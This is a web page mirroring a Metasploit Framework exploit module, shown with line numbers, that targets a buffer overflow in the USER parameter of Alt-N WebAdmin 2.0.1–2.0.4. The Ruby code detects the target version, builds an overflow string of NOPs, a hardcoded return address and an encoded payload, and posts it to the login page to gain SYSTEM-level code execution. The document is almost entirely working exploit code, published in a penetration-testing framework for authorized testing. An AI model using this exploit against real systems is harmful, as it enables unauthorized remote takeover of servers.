CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/altn_webadmin.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Alt-N WebAdmin USER Buffer Overflow',
14
'Description' => %q{
15
Alt-N WebAdmin is prone to a buffer overflow condition. This
16
is due to insufficient bounds checking on the USER
17
parameter. Successful exploitation could result in code
18
execution with SYSTEM level privileges.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2003-0471' ],
25
[ 'OSVDB', '2207' ],
26
[ 'BID', '8024'],
27
[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=11771']
28
],
29
'Privileged' => true,
30
'DefaultOptions' =>
31
{
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' =>
35
{
36
'Space' => 830,
37
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
38
'StackAdjustment' => -3500,
39
40
},
41
'Platform' => 'win',
42
'Targets' =>
43
[
44
['Automatic', {}],
45
['WebAdmin 2.0.4 Universal', { 'Ret' => 0x10074d9b }], # 2.0.4 webAdmin.dll
46
['WebAdmin 2.0.3 Universal', { 'Ret' => 0x10074b13 }], # 2.0.3 webAdmin.dll
47
['WebAdmin 2.0.2 Universal', { 'Ret' => 0x10071e3b }], # 2.0.2 webAdmin.dll
48
['WebAdmin 2.0.1 Universal', { 'Ret' => 0x100543c2 }], # 2.0.1 webAdmin.dll
49
],
50
'DefaultTarget' => 0,
51
'DisclosureDate' => '2003-06-24'))
52
53
register_options([Opt::RPORT(1000)])
54
end
55
56
def exploit
57
58
mytarget = target
59
60
if (target.name =~ /Automatic/)
61
res = send_request_raw({
62
'uri' => '/WebAdmin.DLL'
63
}, -1)
64
65
if (res and res.body =~ /WebAdmin.*v(2\..*)$/)
66
case $1
67
when /2\.0\.4/
68
mytarget = targets[1]
69
when /2\.0\.3/
70
mytarget = targets[2]
71
when /2\.0\.2/
72
mytarget = targets[3]
73
when /2\.0\.1/
74
mytarget = targets[4]
75
else
76
print_error("No target found for v#{$1}")
77
return
78
end
79
else
80
print_error("No target found")
81
end
82
end
83
84
user_cook = rand_text_alphanumeric(2)
85
post_data = 'User=' + make_nops(168) + [mytarget.ret].pack('V') + payload.encoded
86
post_data << '&Password=wtf&languageselect=en&Theme=Heavy&Logon=Sign+In'
87
88
print_status("Sending request...")
89
res = send_request_cgi({
90
'uri' => '/WebAdmin.DLL',
91
'query' => 'View=Logon',
92
'method' => 'POST',
93
'content-type' => 'application/x-www-form-urlencoded',
94
'cookie' => "User=#{user_cook}; Lang=en; Theme=standard",
95
'data' => post_data,
96
'headers' =>
97
{
98
'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png',
99
'Accept-Language' => 'en',
100
'Accept-Charset' => 'iso-8859-1,*,utf-8'
101
}
102
}, 5)
103
104
handler
105
end
106
end
107
108